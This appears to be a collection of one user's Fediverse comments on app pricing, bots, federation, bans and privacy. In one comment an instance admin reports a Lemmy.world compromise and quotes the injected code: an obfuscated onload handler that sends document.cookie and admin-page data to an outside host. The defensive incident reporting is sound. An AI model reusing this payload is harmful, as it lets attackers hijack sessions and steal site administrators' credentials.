I’m here!
It’s no win scenario for developers. While you’re ok with “one up front payment and then maybe in app purchases to pay for new features going forward” there’s a whole other slew of voices who are going to complain about being nickled and dimed.
Given those choices (and other factors), as a consumer I prefer the subscription model. If nothing else, it lets me forecast my expenditure and continually re-assess the cost/value proposition of the application in question.
I’m of the mind that the truth already is noise and has been for a long, long time. AI isn’t introducing anything new, it’s just enabling faster creation of agenda-driven content. Most people already can’t identify the AI generated content that’s been spewing forth in years past. Most people aren’t looking for quality content, they looking for bias-affirming content. The overall quality is irrelevant.
Somewhat of a loaded question but, if we need to scroll through their comment history meticulously to separate real from bot, does it really matter at that point?
SPAM is SPAM and we’re all in agreement that we don’t want bots junking up the communities with low effort content. However if they reach the point that it takes real effort to ferret them out they must be successfully driving some sort of engagement.
I’m not positive that’s a bad thing.
Looks fine here, here and here so it’s likely not a problem on your side but problems with specific instances. Making a new change to your profile should forward the changes to other instances that may have missed the previous changes. That may be enough to jiggle the handle on the ones that don’t have the current information.
It’s not enough to be federated with an instance in order for the content to pour in. Someone on your instance also needs to be subscribed to the individual communities.
I have a bot account that regularly polls the top posts on the five largest instances. If it notices any post from communities that it is not already subscribed to it does so, pulling all the content from that point forward. Even after doing to this for weeks I’m still only pulling about 800 communities and the signal to noise ratio is still good.
Yeah… Their traffic is federating again so things are playing catchup.
That post is two hours old and posted to TelAviv, of all places. I’m not so much trusting on that.
I restored a database snapshot from a couple hours ago. That jives with what I’m seeing.
The actually full comment code that I can see in the database is quite disquieting, cookie stealing:
onload="fetch(String.fromCharCode(104,116,116,112,115, 58,47,47,122,101,108,101,110,115,107,121,46,122,105,112,47,115,97,118,101,47) +btoa(document.cookie+(document.getElementById(String.fromCharCode(110,97,118,65,100,109,105,110))
Not sure if it’s actually XSS. Lemmy.world did have an admin account compromise so it could’ve been done locally.
It actually looks like it may be being propagated via comments. I received more than a handful from lemmy.world and it appears they were in the process of deleting them before they went dark. I nuked the remaining ones by hand but you can see that lemmy.blahaj.zone still has the same few remaining… https://lemmy.blahaj.zone/search?q=onload%3D&type=All&listingType=All&page=1&sort=TopAll
As a new user, I completely understand your disatisfcation. There are plenty of perfectly well-behaved users coming over but there’s also a fair share of others who are tracking in mud, putting their feet on the furniture and overall acting like entitled fools or just aren’t the people you would ever invite to your party. I’d be resentful as well.
You are correct.
The value is part of the person object so it just propagates naturally. Whether remote instances actually act on the information in any way other than populate the BANNED USERS list in the Admin UI, I don’t know. As you pointed out, they can’t login in the first place.
No. If they get banned from their home instance it propagates federation-wide. If they get banned outside of their home instance, it only applies on that instance.
While you technically can unban them it won’t really have any effect since they can’t login to their home instance where the ban took place.
Best I can tell, from limited experimentation, is that if you get banned on your home instance it propagates across the federation. If you get banned on a remote instance it only reflects on that instance.
Bans are already propagated across instances. I’ve got close to 2,300 banned users on my personal instance.
The concept of privacy within today’s Fediverse is asinine and everyone should be pointing that out at every opportunity. Doing otherwise, making believe that some sort of code of conduct or public shame cycle is somehow going to keep people safe, is ridiculous and even more dangerous than a public search engine. By not talking about, very loudly, just how trivial it is to gather this data and how impossible it is to remove it we’re sticking our heads in the sand and there will be people who suffer as a result.
Disabling IPv4 isn’t going to do anything to move IPv6 forward. You’re just shutting those who remain limited to IPv4 through no fault of their own.